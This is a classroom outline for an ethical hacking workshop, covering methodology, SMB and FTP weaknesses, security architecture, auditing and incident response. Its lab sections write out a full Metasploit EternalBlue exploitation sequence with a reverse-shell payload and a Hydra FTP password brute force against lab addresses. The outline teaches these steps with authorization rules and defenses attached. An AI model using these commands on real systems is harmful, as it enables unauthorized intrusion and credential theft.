Workshop Topic:

Introduction to Ethical Hacking & Bug Bounty

Topic 1:

1. What is Hacking

Hacking means **finding weaknesses in a computer system, network, or application**.

Purpose can be:

• Stealing data
• Damaging systems
• Testing security

Explain important point:

Hacking itself is not illegal.
Unauthorized hacking is illegal.

Example:

If you break into someone's house → crime.
If the owner asks you to test the lock → security testing.

Same concept applies to computers.

2. Types of Hackers

White Hat Hackers

Ethical hackers who work legally.

They help organizations find vulnerabilities.

Example companies hiring ethical hackers:

- Google
- Microsoft
- Meta

Explain:

They perform **penetration testing and security assessments**.

Black Hat Hackers

Malicious attackers.

Goals:

• steal money
• steal data
• ransomware attacks

Example real attack:

- WannaCry ransomware.

Explain impact:

Hospitals and companies worldwide were affected.

Grey Hat Hackers

Hackers who may access systems **without permission but without malicious intent**.

Example:

They find vulnerability and inform company.

But still legally risky.

3. What is Ethical Hacking

Definition:

Ethical hacking is **authorized security testing to identify vulnerabilities in systems**.

Explain the process used by ethical hackers.

Steps:

1 Reconnaissance
2 Scanning
3 Vulnerability identification

4 Exploitation
5 Reporting

Explain that **reporting is the most important part**.

4. What is Bug Bounty

Bug bounty programs allow hackers to **find vulnerabilities and report them for rewards**.

Companies prefer this because:

• thousands of hackers test their system
• cheaper than large security teams
• vulnerabilities are found faster

Bug bounty platforms:

- HackerOne
- Bugcrowd
- Synack

Explain:

Some hackers earn **$500 – $100,000 per bug**.

5. Difference Between Penetration Testing & Bug Bounty

Explain clearly.

Penetration Testing

• done by hired security professionals
• limited scope
• fixed time

Bug Bounty

• open to global hackers
• continuous testing
• reward based

6. Real Bug Bounty Example

Example:

- Apple once paid **over $100,000** for critical vulnerabilities.

Explain why companies pay large rewards:

Because fixing vulnerability early prevents **millions of dollars loss**.

7. Important Rule in Ethical Hacking

Always explain this to students.

Ethical hacking requires:

• written permission
• defined scope
• legal agreement

Without permission → **cybercrime**.

Class Interaction (Important)

Ask students:

1Why do companies allow hackers to test their systems?
2Can hacking ever be beneficial?
3What would happen if vulnerabilities are not discovered?

<u>Topic 2</u>

Ethical Hacking Methodology (How Hackers Actually Work)

Explain to students that **hacking is not random**.
Professional hackers follow a **structured methodology**.

Ethical hackers use a **step-by-step approach** similar to security audits.

1. Reconnaissance (Information Gathering)

Reconnaissance means **collecting information about the target** before attacking.

Example analogy you can tell students:

If a thief wants to rob a house, he first observes the house, entry points, guards, cameras.

Hackers do the same.

They collect information like:

• IP address
• Domain name
• Subdomains
• Email addresses
• Technologies used
• Open ports

Two types of reconnaissance:

Passive Recon

No direct interaction with the target.

Examples:

• searching Google
• social media information
• company websites

Example techniques:

Google hacking (dorks)

Example search:

```
site:example.com filetype:pdf
```

Explain why attackers search documents.

Sometimes documents reveal:

• internal usernames
• internal servers
• network information.

Active Recon

Direct interaction with the target system.

Examples:

• port scanning
• network scanning
• service detection

Most common tool used by hackers:

- Nmap

Explain what Nmap does.

Example command you can demonstrate:

```
nmap -sS 192.168.1.10
```

Explain result:

• open ports
• running services

Important concept:

Attackers look for **entry points**.

2. Scanning Phase

After recon, hackers start **scanning systems in detail**.

Goal:

Identify vulnerabilities.

Types of scanning:

Port Scanning

Find open ports.

Example ports:

21 → FTP
22 → SSH
80 → HTTP
445 → SMB

Explain that **services running on ports may contain vulnerabilities**.

Example:

Port **445 SMB vulnerability** used in:

- MS17-010 EternalBlue

Tell students:

This vulnerability allowed attackers to hack thousands of systems.

Service Enumeration

Attackers identify **software versions**.

Example command:

```
nmap -sV 192.168.1.10
```

Explain:

This shows service version.

Example output:

```
445/tcp open microsoft-ds Windows 7
```

Then explain:

Attackers search vulnerabilities for that version.

Vulnerability Scanning

Tools automatically find known vulnerabilities.

Example tools:

- Nessus
- OpenVAS

Explain:

These tools compare software versions with vulnerability databases.

3. Exploitation Phase

After finding vulnerability, attackers try to **exploit it**.

Explain difference:

Vulnerability → weakness
Exploit → tool or code to use that weakness

Example:

Windows SMB vulnerability exploited using:

- Metasploit Framework

Explain concept of exploit modules.

Example command students will see later:

```
search ms17
```

This searches exploit modules.

Explain that this is where **MS17-010 practical will come later**.

4. Post Exploitation

After gaining access, attackers try to:

• escalate privileges
• steal credentials
• move inside network

Explain common actions:

• password dumping
• creating backdoors
• accessing sensitive files

Example commands in exploitation session:

```
sysinfo
getuid
```

Explain what these commands reveal.

5. Reporting Phase

Ethical hackers must create **security reports**.

Explain structure:

1 Vulnerability description
2 Affected system
3 Steps to reproduce
4 Proof of concept
5 Impact
6 Fix recommendation

Explain why reports are important:

Management does not understand technical attacks.

They understand **risk and business impact**.

Teaching Trick (Very Important)

Before moving to MS17-010 practical, ask students:

1If you see port **445 open**, what does it mean?
2What service runs there?
3Can vulnerabilities exist in that service?

Students will naturally answer.

Then you introduce **SMB vulnerability → MS17-010 practical**.\

<u>Topic 3</u>

Vulnerabilities, Exploits, and Real-World Attacks

Before doing any hacking practical, students must understand **what vulnerability really means**.

Most teachers skip this, but explaining it makes your class look **very professional**.

1. What is a Vulnerability

A vulnerability is a **weakness or flaw in a system that attackers can exploit**.

These weaknesses can exist in:

• Operating systems
• Applications
• Network services
• Misconfigurations

Example simple vulnerability:

Weak password like:

```
admin123
```

Example system vulnerability:

Unpatched Windows service.

Explain to students:

Software is written by humans, and humans make mistakes.
Those mistakes become vulnerabilities.

2. What is an Exploit

Exploit means **a method or tool used to take advantage of a vulnerability**.

Explain simple analogy:

Vulnerability = broken door lock
Exploit = tool used to open the broken lock

Example:

Windows SMB vulnerability exploited using code called **EternalBlue**.

Explain that exploit code is often integrated into tools like:

- Metasploit Framework

3. What is a Payload

Payload is the **code executed after exploitation succeeds**.

Examples:

• command shell
• reverse shell
• meterpreter session

Explain simply:

Exploit → opens the door
Payload → what attacker does inside the system

Example payload command:

```
reverse_tcp
```

Explain concept:

Victim machine connects back to attacker.

4. What is a Security Patch

A patch is a **software update that fixes vulnerabilities**.

Explain why patching is important.

Example:

Microsoft releases security updates regularly.

Attackers look for systems that **do not install updates**.

Real vulnerability example:

- MS17-010 EternalBlue

Explain:

This vulnerability affected Windows SMB service.

5. Real-World Example of Vulnerability Exploitation

Explain the famous ransomware attack:

- WannaCry

What happened:

• Attackers used EternalBlue exploit
• Spread automatically across networks
• Infected **200,000+ systems worldwide**

Affected industries:

• hospitals
• telecom companies
• logistics companies

Explain impact:

Hospitals could not access patient records.

Students usually become very interested here.

6. Why Attackers Target SMB

Explain SMB service.

SMB = Server Message Block.

Used for:

• file sharing
• printer sharing
• network communication between Windows systems

Default port:

```
445
```

Explain important concept:

If port **445 is open**, the system may be vulnerable to SMB attacks.

This is the moment where you connect to the practical.

Ask students:

If attackers scan a network and find port **445 open**, what might they try?

Students usually answer:

SMB attacks.

Then you say:

One of the most famous SMB attacks is **MS17-010**.

7. Tools Attackers Use for Exploitation

Explain common exploitation frameworks.

Most famous:

- Metasploit Framework

Explain what Metasploit does:

• contains thousands of exploits
• helps automate attacks
• used by both attackers and security professionals

Explain concept of **exploit modules**.

Example command students will see:

```
search ms17
```

Explain:

Metasploit will show exploits related to MS17 vulnerabilities.

8. Ethical Hacking Responsibility

Before doing practical, explain an important rule:

Ethical hackers must:

• test only authorized systems
• never attack random internet systems
• follow legal boundaries

Explain why labs are used in training.

Example lab setup:

Kali Linux → attacker machine
Windows 7 → vulnerable machine

This prepares students for the **MS17-010 practical next**.

Teaching Interaction (Important)

Ask students these questions:

1Why do vulnerabilities exist in software?
2Why do attackers target unpatched systems?
3What service runs on port **445**?

Next Topic

The next topic will be:

MS17-010 Practical Demonstration (Complete Step-by-Step Teaching Flow)

This will include:

• scanning
• vulnerability verification
• exploitation
• meterpreter explanation
• post-exploitation commands

Topic 4

MS17-010 Practical Demonstration (SMB Exploitation)

Goal of this session:

Students will learn:

• How attackers find vulnerable machines
• How to verify a vulnerability
• How exploitation works
• What access attackers get after exploitation

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1. Lab Environment Explanation

Before running any command, explain the lab setup.

Example environment:

Attacker machine
Kali Linux

Target machine
Windows 7 (unpatched)

Explain why Windows 7 is used.

Older Windows systems did not have the patch for:

- MS17-010 EternalBlue

Explain:

This vulnerability exists in **SMB protocol implementation**.

2. Understanding SMB Service

Before scanning, explain SMB.

SMB (Server Message Block) is used for:

• file sharing
• printer sharing
• network communication

Default port:

```
445
```

Explain a key concept:

If port **445 is open**, SMB service is running.

Ask students:

Why is exposing SMB to the network risky?

This creates discussion.

3. Network Scanning

Now begin the practical.

Use:

- Nmap

Scan the target system.

Example command:

```
nmap -sS 192.168.1.20
```

Explain scan results.

Example output:

```
445/tcp open microsoft-ds
```

Explain meaning:

• Port 445 is open
• SMB service is running

Now ask students:

Does open port always mean vulnerable?

Answer:

No. We must **check vulnerability separately**.

4. Vulnerability Verification

Explain concept:

Before attacking, ethical hackers verify if vulnerability exists.

Open:

- Metasploit Framework

Start Metasploit:

```
msfconsole
```

Explain what Metasploit is:

A framework containing **thousands of exploits and scanners**.

Search vulnerability module:

```
search ms17
```

Explain the output.

Students will see modules like:

```
auxiliary/scanner/smb/smb_ms17_010
exploit/windows/smb/ms17_010_eternalblue
```

Explain difference:

Scanner module → checks vulnerability
Exploit module → attacks system

5. Running Vulnerability Scanner

Select scanner module.

```
use auxiliary/scanner/smb/smb_ms17_010
```

Explain module parameters.

Set target host.

```
set RHOSTS 192.168.1.20
```

Run scanner.

```
run
```

Explain output.

Example result:

```
Host is likely VULNERABLE
```

Explain what this means.

Students now understand the system **has the vulnerability**.

6. Exploiting the Vulnerability

Now move to exploit module.

```
use exploit/windows/smb/ms17_010_eternalblue
```

Explain module options.

Show parameters:

```
show options
```

Important settings:

RHOSTS → target system
LHOST → attacker machine IP

Set target:

```
set RHOSTS 192.168.1.20
```

Set attacker IP:

```
set LHOST 192.168.1.5
```

Explain payload concept again.

Default payload often used:

```
windows/x64/meterpreter/reverse_tcp
```

7. Launching the Attack

Execute exploit.

```
exploit
```

Explain what happens internally:

1 Attacker sends malicious SMB packets
2 Target system processes them incorrectly
3 Attacker gains remote code execution

If successful, students see:

```
Meterpreter session opened
```

This is the moment students usually get excited.

8. Understanding Meterpreter

Explain Meterpreter.

Meterpreter is an advanced shell that allows attackers to control the system.

Common commands:

Check system information.

```
sysinfo
```

Check current user.

```
getuid
```

Explain that attackers now have **control over the machine**.

9. Post Exploitation Demonstration

Show basic post-exploitation commands.

List files.

```
ls
```

Navigate directories.

```
cd Desktop
```

Explain that attackers can now:

• access files
• install malware
• steal credentials

Explain that this stage is called **post-exploitation**.

10. Defensive Perspective

Now switch to defense.

Ask students:

How could this attack be prevented?

Expected answers:

• install security patches
• block SMB exposure
• use firewall rules
• network segmentation

Explain that Microsoft released a patch for:

- MS17-010 EternalBlue

Teaching Trick (Important)

Do NOT run the exploit immediately.

Break it like this:

1 Explain SMB
2 Scan with Nmap
3 Verify vulnerability
4 Explain exploit module
5 Configure parameters

6 Run exploit
7 Explore Meterpreter

Each step generates questions.

Students feel they are learning deeply.

Next Topic

Next we will build:

FTP Security Weakness & Attack Demonstration

This will include:

• FTP protocol explanation
• why FTP is insecure
• credential sniffing concept
• brute-force attack using Hydra

Topic 5

FTP Protocol, Weaknesses & Attack Demonstration

Goal of this session:

Students will learn:

• What FTP is
• Why FTP is insecure
• How attackers discover FTP services
• How attackers abuse weak FTP authentication
• How to defend against FTP attacks

1. What is FTP

FTP stands for **File Transfer Protocol**.

It is used to transfer files between systems in a network.

Examples:

• uploading website files to a server
• downloading files from servers
• transferring backup data

Explain simple example:

A company web developer uploads website files to the web server using FTP.

Default port for FTP:

```
21
```

Explain to students:

Whenever port **21** is open, it usually means an FTP service is running.

2. How FTP Works

Explain FTP communication process.

Steps:

1 Client connects to FTP server
2 Username and password are sent
3 Server verifies credentials
4 User can upload or download files

Explain important security problem:

FTP sends **username and password in plain text**.

This means attackers can intercept credentials.

Explain that FTP was designed in the **early internet era**, when security was not a big concern.

3. FTP Security Weaknesses

Explain common FTP vulnerabilities.

Plain Text Authentication

Credentials are not encrypted.

Attackers can capture them using packet sniffing tools.

Example tool:

- Wireshark

Explain concept:

If attacker is in same network, they can see FTP credentials.

Anonymous Login

Some FTP servers allow login without password.

Example:

Username:

```
anonymous
```

Explain risk:

Anyone can access files on the server.

Weak Passwords

Users often set weak passwords.

Example passwords:

```
admin
password
123456
```

Attackers use **password brute force attacks**.

4. Discovering FTP Service

Now begin the practical.

Use scanning tool:

- Nmap

Scan target machine.

Example command:

```
nmap -p21 192.168.1.20
```

Example result:

```
21/tcp open ftp
```

Explain meaning:

FTP service detected.

Now attackers try to **enumerate FTP service**.

5. FTP Enumeration

Attackers try to gather information about the FTP server.

Example command:

```
nmap -sV -p21 192.168.1.20
```

Example output:

```
vsftpd 2.3.4
```

Explain:

This reveals the **FTP server software and version**.

Explain that attackers search for vulnerabilities in that version.

Example FTP server software:

- vsftpd

6. Manual FTP Login Attempt

Now demonstrate connecting to FTP.

Command:

```
ftp 192.168.1.20
```

Explain login prompt.

Example:

```
Name: admin
Password: admin
```

Explain concept:

Attackers often try **default credentials first**.

This is called **credential guessing**.

7. Anonymous FTP Demonstration

Attempt anonymous login.

Example:

```
Name: anonymous
Password: anonymous
```

If login succeeds, attacker gains access.

Explain what attacker can do:

• download sensitive files
• upload malicious files
• replace website content

Students usually find this interesting.

8. FTP Brute Force Attack

Now explain password brute force attack.

Attackers use automated tools to try thousands of passwords.

Example tool:

- Hydra

Hydra is a popular password cracking tool.

Example command:

```
hydra -l admin -P rockyou.txt ftp://192.168.1.20
```

Explain command parts:

-l → username
-P → password list
ftp → service type
target IP → victim system

Explain that the tool tries many passwords quickly.

9. Successful Login Example

If password is discovered, attacker gains FTP access.

Example:

```
[21][ftp] host: 192.168.1.20 login: admin password: admin123
```

Explain impact:

Now attacker can:

• upload malware
• steal confidential files
• modify server data

10. Defensive Measures

Now switch to defense.

Ask students:

How can we secure FTP servers?

Answers:

Use secure alternatives like:

- SFTP
- FTPS

Other defenses:

• disable anonymous login
• enforce strong passwords
• use firewall restrictions
• enable logging

Teaching Interaction

Ask students questions:

1Why is FTP considered insecure?
2Why do attackers love weak passwords?
3What is the difference between FTP and SFTP?

Topic 6

Security Architecture Fundamentals

Goal of this session:

Students will understand:

• What security architecture means
• How organizations design secure networks
• How layered security prevents attacks
• Why a single security control is not enough

1. What is Security Architecture

Security architecture means the **design of systems, networks, and policies to protect information and infrastructure from attacks**.

Explain simply:

Security architecture is like designing a secure building.

Example:

A bank building does not rely on just one security control.

It uses:

• guards
• CCTV cameras
• locks
• alarm systems

Similarly, computer networks use multiple security layers.

2. CIA Triad (Foundation of Security)

Most security frameworks are based on the **CIA triad**.

Explain the three pillars.

Confidentiality

Ensuring that sensitive data is **accessible only to authorized users**.

Examples:

• encryption
• access control
• authentication

Example data:

• medical records
• banking data

Integrity

Ensuring data **cannot be altered or tampered with**.

Example protections:

• hashing
• digital signatures
• file integrity monitoring

Explain example:

If a hacker modifies a financial transaction record, integrity is compromised.

Availability

Ensuring systems and data are **available when needed**.

Examples:

• server redundancy
• backup systems
• protection against DDoS attacks

Explain example:

If a hospital system goes offline, doctors cannot access patient records.

3. Defense in Depth

Explain an important concept:

Security should exist in multiple layers.

If one layer fails, another layer protects the system.

Example layers:

1 Network firewall
2 Intrusion detection system
3 Endpoint security
4 Authentication systems

Example tools used in network security:

- Snort
- Suricata

Explain that these systems detect suspicious network traffic.

4. Network Segmentation

Explain concept of **network segmentation**.

Large organizations divide networks into zones.

Example zones:

Internet
DMZ
Internal network
Management network

Explain why segmentation is important.

Example scenario:

If a hacker compromises a public web server, segmentation prevents them from directly accessing internal systems.

5. DMZ (Demilitarized Zone)

Explain DMZ concept.

A DMZ is a **separate network zone where public-facing servers are placed**.

Examples of servers placed in DMZ:

• web servers
• mail servers
• FTP servers

Explain why this is done.

If a DMZ server is compromised, attackers **cannot easily reach the internal network**.

6. Role of Firewalls

Explain firewall concept.

A firewall monitors and controls network traffic based on security rules.

Firewalls allow or block traffic based on:

• IP address
• port number
• protocol

Example firewall rule:

Allow HTTP traffic:

```
Port 80
```

Block SMB traffic from internet:

```
Port 445
```

Explain why blocking SMB externally prevents attacks like **MS17-010**.

7. Security Architecture Example

Explain simple corporate network architecture.

Internet → Firewall → DMZ → Internal Network

Public servers in DMZ:

• web server
• email server

Internal systems:

• database servers
• employee workstations

Explain that attackers must break **multiple layers** to reach critical data.

Teaching Interaction

Ask students:

1Why should SMB (port 445) never be exposed to the internet?
2Why do companies place web servers in DMZ instead of internal network?
3What happens if a company relies on only one security control?

Topic 7

Security Auditing Process

Goal of this session:

Students will understand:

• What a security audit is
• How companies test their infrastructure
• The difference between vulnerability assessment and penetration testing
• How security reports are created

1. What is a Security Audit

A security audit is a **systematic evaluation of an organization's security controls**.

Purpose:

• identify vulnerabilities
• evaluate security policies
• ensure compliance with standards
• reduce risk

Explain example:

A bank may conduct a security audit to ensure:

• customer data is protected
• systems are not vulnerable to attacks
• employees follow security policies

2. Types of Security Audits

Explain that organizations perform different types of audits.

Internal Audit

Performed by the organization's internal security team.

Purpose:

• continuous monitoring
• checking policy compliance

External Audit

Performed by independent security firms.

Purpose:

• unbiased security evaluation
• regulatory compliance

Explain example industries:

• banking
• healthcare
• government

3. Security Audit Process

Explain the general steps used during a security audit.

Step 1 — Scope Definition

Define what systems will be tested.

Examples:

• web servers
• internal network
• employee laptops

Explain why scope is important.

Without scope, testing may affect production systems.

Step 2 — Asset Identification

Security teams identify all assets in the environment.

Assets include:

• servers
• databases
• applications
• network devices

Explain concept of **asset inventory**.

Example tools used in scanning:

- Nmap

Step 3 — Risk Assessment

Security teams analyze potential threats and vulnerabilities.

Risk depends on three factors:

Threat
Vulnerability
Impact

Example:

If a public server has **SMB open**, risk is high because attacks like:

- MS17-010 EternalBlue

could occur.

Step 4 — Vulnerability Assessment

Security teams scan systems for known vulnerabilities.

Tools commonly used:

- Nessus
- OpenVAS

Explain concept:

These tools compare software versions with vulnerability databases.

Example finding:

Outdated FTP server.

Step 5 — Penetration Testing

Penetration testing simulates real-world attacks.

Security professionals attempt to exploit vulnerabilities.

Examples of attacks you demonstrated:

• SMB exploitation
• FTP password attacks

Tools used for exploitation:

- Metasploit Framework

Explain important rule:

Penetration testing is done **only with permission**.

Step 6 — Reporting

After testing, security teams create a detailed report.

Report includes:

• vulnerabilities discovered
• severity level
• proof of concept
• remediation recommendations

Explain that management teams rely on these reports to improve security.

4. Vulnerability Assessment vs Penetration Testing

Explain difference clearly.

Vulnerability Assessment

Goal:

Identify vulnerabilities.

Methods:

Automated scanning tools.

Example tool:

- Nessus

Penetration Testing

Goal:

Exploit vulnerabilities to demonstrate impact.

Methods:

Manual attacks and exploitation.

Example tool:

- Metasploit Framework

5. Importance of Security Logs

Explain that logs help detect attacks.

Log sources include:

• firewall logs
• server logs
• authentication logs
• application logs

Logs help security teams investigate incidents.

Example log analysis platforms:

- Splunk
- Elastic Stack

Explain that these tools collect and analyze logs from multiple systems.

6. Incident Response

Explain what happens when a security incident occurs.

Incident response phases:

1 Detection
2 Containment
3 Eradication
4 Recovery
5 Lessons learned

Explain example:

If ransomware infects a network, the security team must quickly isolate affected systems.

Example ransomware attack:

- WannaCry

Teaching Interaction

Ask students questions:

1What is the difference between vulnerability scanning and penetration testing?
2Why is reporting important in security audits?
3Why do organizations perform external audits?

Workshop Lecture Structure

1Introduction to Ethical Hacking
2Ethical Hacking Methodology
3Vulnerabilities & Exploits
4MS17-010 Practical
5FTP Attack Practical
6Security Architecture
7Security Auditing Process

This structure feels **natural, practical, and professional**.

Students will feel they learned:

• real attacks
• real defenses
• real security processes

Topic 8

Log Monitoring & Incident Response

Goal of this session:

Students will understand:

• Why logs are important in cybersecurity
• How attacks are detected using logs
• What incident response teams do during attacks

This topic also connects with attacks like **MS17-010** and **FTP brute force** that you already demonstrated.

1. What Are Logs

Logs are **records of events generated by systems, applications, and network devices**.

Logs record activities such as:

• user login attempts
• file access
• network connections
• system errors

Explain simple example:

When someone logs into a server, the system records:

• username
• login time
• IP address

Logs help security teams understand **what happened in the system**.

2. Types of OS Security Logs

Explain common log sources.

System Logs

Generated by operating systems.

Examples:

• login attempts
• process execution
• system errors

Example operating systems:

- Windows
- Linux

Network Device Logs

Generated by devices such as:

• routers
• switches
• firewalls

These logs record network traffic and connection attempts.

Application Logs

Generated by applications such as:

• web servers
• databases
• FTP servers

Example server software:

- Apache HTTP Server

These logs help detect web attacks.

3. Detecting Attacks Using Logs

Explain how logs help identify suspicious activity.

Example attack detection:

FTP brute force attack.

Logs may show:

• multiple failed login attempts
• login attempts from unknown IP addresses

Explain that this pattern indicates a **password attack**.

Another example:

Attackers scanning ports before exploitation.

Logs may show multiple connection attempts to many ports.

4. SIEM Systems

Explain SIEM concept.

SIEM stands for **Security Information and Event Management**.

SIEM systems collect logs from many devices and analyze them.

Examples of SIEM platforms:

- Splunk
- Elastic Stack

Explain advantages:

• centralized log monitoring
• real-time alerting
• incident investigation

Example:

If someone performs **100 failed login attempts**, SIEM can generate an alert.

5. Security Incident

Explain definition:

A security incident is **an event that compromises the confidentiality, integrity, or availability of a system**.

Examples:

• malware infection
• data breach
• unauthorized access
• ransomware attack

Example ransomware attack:

- WannaCry

Explain impact:

Many organizations lost access to their systems.

6. Incident Response Process

When an attack occurs, security teams follow a structured process.

Phase 1 — Detection

Security team detects suspicious activity using logs or alerts.

Example:

SIEM detects multiple failed login attempts.

Phase 2 — Containment

Security team isolates affected systems to prevent the attack from spreading.

Example:

Disconnect infected machine from the network.

Phase 3 — Eradication

Remove the root cause of the attack.

Examples:

• remove malware
• patch vulnerabilities
• reset compromised passwords

Phase 4 — Recovery

Restore systems to normal operation.

Examples:

• restore backups
• reinstall systems
• apply security updates

Phase 5 — Lessons Learned

Security team analyzes the incident.

Goal:

Improve defenses to prevent future attacks.

Example:

Implement stronger password policies.

7. Linking This Topic With Your Practicals

Connect your earlier demonstrations.

Example explanations:

MS17-010 attack could be detected by:

• unusual SMB traffic
• suspicious network connections

FTP brute force attack could be detected by:

• repeated login failures in logs

This helps students understand **why monitoring is critical**.

Teaching Interaction

Ask students:

1How can logs help detect attacks?
2Why do organizations use SIEM systems?
3What should be done after detecting a cyber attack?

Final Workshop Lecture Flow

1Introduction to Ethical Hacking & Bug Bounty
2Ethical Hacking Methodology
3Vulnerabilities, Exploits & Real-World Attacks
4MS17-010 Exploitation Practical
5FTP Protocol & Attack Practical
6Security Architecture Fundamentals
7Security Auditing Process
8Log Monitoring & Incident Response

This sequence makes the lecture look:

• **structured**
• **real-world focused**
• **balanced between attack and defense**